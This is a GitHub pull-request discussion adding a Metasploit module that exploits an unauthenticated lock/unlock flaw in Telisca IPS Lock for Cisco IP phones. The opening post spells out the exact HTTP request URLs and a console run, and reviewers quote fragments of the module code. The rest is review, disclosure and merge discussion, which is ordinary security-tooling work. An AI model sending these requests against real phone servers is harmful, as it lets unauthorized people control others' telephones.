Add module Telisca IPS Lock/Unlock #6470

kfr-ma · 2016-01-13T18:03:48Z

Telisca IPS Lock (IPS Lock is an XML application for Cisco IP Phones which permits locking
the telephone and preventing any unauthorized calls.
http://www.telisca.com/ips-lock-2/) suffers from vulnerability that allows any
attacker to lock/unlock IP-Phones without knowing the pin code. The attacker
have just to do http request to IPS Lock Server with Mac ADDR of the phone:

For example to lock the IP Phone SEP27745DA145D2 :

http://IPSLOCKSRV:80/IPSPCFG/user/Default.aspx?action=DO&tg=L&pn=SEP27745DA145D2&dp=&gr=&gl=

For example to unlock the IP Phone SEP27745DA145D2 :

http://IPSLOCKSRV/IPSPCFG/user/Default.aspx?action=U7LCK&pn=SEP88908D68C5D4&dp=

resource (telisco.rb)> use modules/auxiliary/voip/telisca_ips_lock_abuse.rb
resource (telisco.rb)> set PHONENAME SEP27745DA145D2
PHONENAME=> SEPC80084ED0DBD
resource (telisco.rb)> set RHOST 10.16.40.18
RHOST =>10.16.40.18
resource (telisco.rb)> set VHOST 10.16.40.18
VHOST => 10.16.40.18
resource (telisco.rb)> set ACTION UNLOCK
ACTION => UNLOCK
resource(telisco.rb)> run
[+] Try to unlock
[+] Deivice SEP27745DA145D2 successfully unlocked
[*] Auxiliary module execution completed

msf auxiliary(telisca_ips_lock_abuse) >

+ symantec_brightmail_ldapcreds.rb + telisca_ips_lock_abuse.rb

wchen-r7 · 2016-01-13T19:38:31Z

I see there are two modules in this pull request, and at first glance they look identical to me. Should there be two modules?

kfr-ma · 2016-01-13T21:08:28Z

Hi

In this pull there is just one module "modules/auxiliary/scanner/voice/telisca_ips_lock_abuse.rb", when i create the branch i removed the other module "remove symantec_brightmail_ldapcreds.rb"

wchen-r7 · 2016-01-13T21:10:05Z

@kfr-ma Ah ok. Well, I see modules/auxiliary/voip/telisca_ips_lock_abuse.rb in this pull request too, so perhaps you want to remove that one as well?

kfr-ma · 2016-01-13T21:25:08Z

Yes is the same file, the same lines :)
i don't know how this happen :( , should i fix something ?

wchen-r7 · 2016-01-13T21:28:55Z

@kfr-ma Ok. On your test_telisca_ipslock branch, please do:

git rm modules/auxiliary/voip/telisca_ips_lock_abuse.rb
Do git status and make sure the only change is removing the file
git commit -a -m "rm modules/auxiliary/voip/telisca_ips_lock_abuse"
git push origin test_telisca_ipslock

And that should remove the unwanted module, and update the pull request. Thanks!

kfr-ma · 2016-01-13T21:31:45Z

ah thank you , I could do that tomorrow morning , because I do not have my dev pc with me.

wchen-r7 · 2016-01-13T21:32:36Z

@kfr-ma No problem, take your time :-)

…_telisca_ipslock merge with master

…_telisca_ipslock merge

kfr-ma · 2016-01-14T00:05:55Z

Hi wchen-r7,
Tell me If is ok , i made the changes .
Regards

wchen-r7 · 2016-01-14T00:58:54Z

@kfr-ma yup that looks good now, thanks.

BTW, how do I get IPS Lock 2? I am not seeing anything I can download from the vendor's website.

kfr-ma · 2016-01-14T01:15:42Z

Ah i founded it installed during a pentest for a client , is an
application which install upon Cisco CUCM

Le jeudi 14 janvier 2016, sinn3r [email protected] a écrit :

@kfr-ma https://github.com/kfr-ma yup that looks good now, thanks.

BTW, how do I get IPS Lock 2? I am not seeing anything I can download from
the vendor's website.

—
Reply to this email directly or view it on GitHub
#6470 (comment)
.

wchen-r7 · 2016-01-14T01:20:53Z

@kfr-ma Ok, gotcha. Do you still have access to this box? Will you lose it anytime soon? Because usually what happens is, if we can't verify it, we will have to ask a pcap from you to prove the module is working. But before we do, we will have to review your code and maybe there will be code changes along the way. And obviously, the longer the code review, the more likely you won't be able to test the new changes. So I just would like to know how much time we have to work on this :-)

kfr-ma · 2016-01-14T01:26:28Z

Hi
i havé accès to thé box , i havé more than 6 Months :) i can give you ALL thé
required éléments .
REGARDS

Le jeudi 14 janvier 2016, sinn3r [email protected] a écrit :

@kfr-ma https://github.com/kfr-ma Ok, gotcha. Do you still have access
to this box? Will you lose it anytime soon? Because usually what happens
is, if we can't verify it, we will have to ask a pcap from you to prove the
module is working. But before we do, we will have to review your code and
maybe there will be code changes along the way. And obviously, the longer
the code review, the more likely you won't be able to test the new changes.
So I just would like to know how much time we have to work on this :-)

—
Reply to this email directly or view it on GitHub
#6470 (comment)
.

wchen-r7 · 2016-01-14T01:42:19Z

@kfr-ma Ok cool, thanks! Another question, do you know if this is a zero-day?

void-in · 2016-01-14T05:30:34Z

modules/auxiliary/voip/telisca_ips_lock_abuse.rb

+        {
+          'SSL' => false,
+          'SSLVersion' => 'TLS1',
+          'RPORT' => 80


You can remove all these defaults. SSL is false by default and since it is false, we don't need the SSLVersion as well. RPORT is registered by default to 80 in the HTTPClient mixin. Reference is 3752c10

void-in · 2016-01-14T05:53:50Z

modules/auxiliary/voip/telisca_ips_lock_abuse.rb

+      res = lock(phone_name,ipsserver)
+    when 'UNLOCK'
+      print_good "Try to unlock "
+      res = unlock(phone_name,ipsserver)


Since res is not used anywhere, it should be removed.

void-in · 2016-01-14T05:55:34Z

@kfr-ma The indentation is not consistent. You should use two space soft indentation throughout the module. I can see in certain places you have used two space indentation while there are places where a single indentation is used as well. Reference https://github.com/rapid7/metasploit-framework/wiki/Indentation-Standards

kfr-ma · 2016-01-14T09:01:53Z

Hi Sinn3r ,

Yes is a zero-day , I just inform the editor today.

Regards .

2016-01-14 1:43 GMT+00:00 sinn3r [email protected]:

@kfr-ma https://github.com/kfr-ma Ok cool, thanks! Another question, do
you know if this is a zero-day?

—
Reply to this email directly or view it on GitHub
#6470 (comment)
.

cleaning the code

kfr-ma · 2016-01-14T11:15:25Z

Hi void-in;
I made the changes you ask .
Regards.

bcook-r7 · 2016-01-14T17:02:51Z

modules/auxiliary/voip/telisca_ips_lock_abuse.rb

+         'zirsalem'
+       ], 'License'        => MSF_LICENSE,
+      'License'        => MSF_LICENSE,
+      'DisclosureDate' => "Dec 17 2015",


What does this date refer to? Is this disclosed to the vendor?

Hi

This is Date of the vulnerabity discovery , i alerted the editor just today
and he confirm the vulnerability .

Regards.

2016-01-14 17:03 GMT+00:00 Brent Cook [email protected]:

In modules/auxiliary/voip/telisca_ips_lock_abuse.rb
#6470 (comment)
:

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Telisca IPSLock Abuse',

'Description' => %q{This modules will exploit the vulnerabilities of Telisca IPSLock , in order to lock/unlock IP Phones. you need to be in the voip vlan and you have to know the phone name example : SEP002497AB1D4B . Set ACTION to either LOCK or UNLOCK UNLOCK is the default.},

'References' =>

[

],

'Author' =>

[

'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',

'zirsalem'

], 'License' => MSF_LICENSE,

'License' => MSF_LICENSE,

'DisclosureDate' => "Dec 17 2015",

What does this date refer to? Is this disclosed to the vendor?

—
Reply to this email directly or view it on GitHub
https://github.com/rapid7/metasploit-framework/pull/6470/files#r49752816
.

Mainly making sure it is following the Ruby style guide, and avoid unrecommended coding practices.

wchen-r7 · 2016-01-15T01:47:58Z

@kfr-ma I have submitted a pull request to update the module, could you please take a look? kfr-ma#2

If the updated module works fine, there should be a green button that says "Merge pull request". That will apply/merge the new code changes to your branch, as well as updating this pull request. Thanks.

Update Telisca IPS Lock Control module

commit the changes mad by sinn3r and replace headers on lock and unlock

kfr-ma · 2016-01-15T15:14:54Z

This the pcap file which proove that the code work
telisca.pcap.zip

wchen-r7 · 2016-01-15T15:54:29Z

@kfr-ma Thank you, I got the pcap. I think this module is good to go. However, since this is a zero-day, we will have to delay releasing to master until the vendor has released a patch. Will you please let us know when that happens? Thanks!

kfr-ma · 2016-01-15T22:02:03Z

ok wchen-r7,
Ok i will notify you once the patch is ready .
Thx

wchen-r7 · 2016-01-19T16:47:35Z

thank you!

Epivalent · 2016-01-24T21:49:49Z

A LOT OF YOU GUYS DON'T SEEM TO UNDERSTAND 'THE INTERNET' OR WHAT '0-day' MEANS...

OJ · 2016-01-25T00:35:19Z

todb-r7 · 2016-01-26T18:18:30Z

Barring any complaints from @kfr-ma , this module is good to go. There's no need to wait for a patch.

@kfr-ma, is the disclosure date of December 17, 2015 correct? That predates this PR by a few weeks, and conflicts with this comment that indicates disclosure actually happened on January 12, 2016. Just looking for a 👍 on accuracy there.

If that's correct, I believe I can land, unless you stop me. I know @wchen-r7 is much more offline this week than usual.

kfr-ma · 2016-01-26T18:42:15Z

Hi TOD
the disclosure date is december 2015 , i agrée with you There's no need to
wait for a patch.
regards

Le mardi 26 janvier 2016, Tod Beardsley [email protected] a écrit :

Barring any complaints from @kfr-ma https://github.com/kfr-ma , this
module is good to go. There's no need to wait for a patch.

@kfr-ma https://github.com/kfr-ma, is the disclosure date of December
17, 2015 correct? That predates this PR by a few weeks, and conflicts with this
comment
#6470 (comment)
that indicates disclosure actually happened on January 12, 2016. Just
looking for a [image: 👍] on accuracy there.

If that's correct, I believe I can land, unless you stop me. I know
@wchen-r7 https://github.com/wchen-r7 is much more offline this week
than usual.

—
Reply to this email directly or view it on GitHub
#6470 (comment)
.

todb-r7 · 2016-01-27T22:36:49Z

Landing this now with some overhauled title and description that more clearly describes the module.

todb-r7 · 2016-01-27T22:42:43Z

Oh, I took out the deregister(RHOSTS) bit, too, since this isn't a scanner module anyway.

kfr-ma · 2016-01-28T09:12:39Z

thanks guys, it was a pleasure working with you :)

2016-01-27 22:43 GMT+00:00 Tod Beardsley [email protected]:

Oh, I took out the deregister(RHOSTS) bit, too, since this isn't a
scanner module anyway.

—
Reply to this email directly or view it on GitHub
#6470 (comment)
.

Adding auxialiary modules :

8b03b71

+ symantec_brightmail_ldapcreds.rb + telisca_ips_lock_abuse.rb

wchen-r7 changed the title ~~Test telisca ipslock~~ Add module Telisca IPS Lock/Unlock Jan 13, 2016

wchen-r7 added module feature labels Jan 13, 2016

Fakhir Karim Reda added 4 commits January 13, 2016 22:50

replacing telisca-ips-lock

457e569

replace telisca_ips_lock_abuse.rb

c68d2a8

Merge branch 'master' of github:kfr-ma/metasploit-framework into test…

bb10b5c

…_telisca_ipslock merge with master

rm modules/auxiliary/voip/telisca_ips_lock_abuse

1b9563b

kfr-ma force-pushed the test_telisca_ipslock branch from 6fcac1a to 1b9563b Compare January 13, 2016 23:16

Fakhir Karim Reda added 4 commits January 13, 2016 23:19

delte modules/auxiliary/scanner/voice/telisca_ips_lock_abuse.rb

01b8302

Merge branch 'master' of github:kfr-ma/metasploit-framework into test…

1e37ff9

…_telisca_ipslock merge

adding modules/auxiliary/voip/telisca_ips_lock_abuse.rb

60ef1ea

deleted: modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb

c18253d

void-in reviewed Jan 14, 2016
View reviewed changes

Update /telisca_ips_lock_abuse

46f0651

cleaning the code

bcook-r7 reviewed Jan 14, 2016
View reviewed changes

Update the code to today's standards

eb6cff7

Mainly making sure it is following the Ruby style guide, and avoid unrecommended coding practices.

wchen-r7 mentioned this pull request Jan 15, 2016

Update Telisca IPS Lock Control module kfr-ma/metasploit-framework#2

Merged

Rename module

477dc64

kfr-ma added 2 commits January 15, 2016 08:41

Merge pull request #2 from wchen-r7/update_6470

8fb2e97

Update Telisca IPS Lock Control module

Update telisca_ips_lock_control.rb

3d04f40

commit the changes mad by sinn3r and replace headers on lock and unlock

wchen-r7 added the blocked Blocked by one or more additional tasks label Jan 15, 2016

todb-r7 removed the blocked Blocked by one or more additional tasks label Jan 25, 2016

todb-r7 self-assigned this Jan 27, 2016

todb-r7 merged commit 3d04f40 into rapid7:master Jan 27, 2016

todb-r7 pushed a commit that referenced this pull request Jan 27, 2016

Title and description fixes for #6470

86c025d

todb-r7 pushed a commit that referenced this pull request Jan 27, 2016

Land #6470, Telisca IPS Lock (and Unlock)

8af751b

todb-r7 pushed a commit to todb-r7/metasploit-framework that referenced this pull request Jan 29, 2016

Title and description fixes for rapid7#6470

ac49a1d

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add module Telisca IPS Lock/Unlock #6470

Add module Telisca IPS Lock/Unlock #6470

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

void-in Jan 14, 2016

void-in Jan 14, 2016

void-in commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

bcook-r7 Jan 14, 2016

kfr-ma Jan 14, 2016

wchen-r7 commented Jan 15, 2016

kfr-ma commented Jan 15, 2016

wchen-r7 commented Jan 15, 2016

kfr-ma commented Jan 15, 2016

wchen-r7 commented Jan 19, 2016

Epivalent commented Jan 24, 2016

OJ commented Jan 25, 2016

todb-r7 commented Jan 26, 2016

kfr-ma commented Jan 26, 2016

todb-r7 commented Jan 27, 2016

todb-r7 commented Jan 27, 2016

kfr-ma commented Jan 28, 2016

Add module Telisca IPS Lock/Unlock #6470

Add module Telisca IPS Lock/Unlock #6470

Conversation

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 13, 2016

wchen-r7 commented Jan 13, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

wchen-r7 commented Jan 14, 2016

void-in Jan 14, 2016

Choose a reason for hiding this comment

void-in Jan 14, 2016

Choose a reason for hiding this comment

void-in commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

kfr-ma commented Jan 14, 2016

bcook-r7 Jan 14, 2016

Choose a reason for hiding this comment

kfr-ma Jan 14, 2016

Choose a reason for hiding this comment

wchen-r7 commented Jan 15, 2016

kfr-ma commented Jan 15, 2016

wchen-r7 commented Jan 15, 2016

kfr-ma commented Jan 15, 2016

wchen-r7 commented Jan 19, 2016

Epivalent commented Jan 24, 2016

OJ commented Jan 25, 2016

todb-r7 commented Jan 26, 2016

kfr-ma commented Jan 26, 2016

todb-r7 commented Jan 27, 2016

todb-r7 commented Jan 27, 2016

kfr-ma commented Jan 28, 2016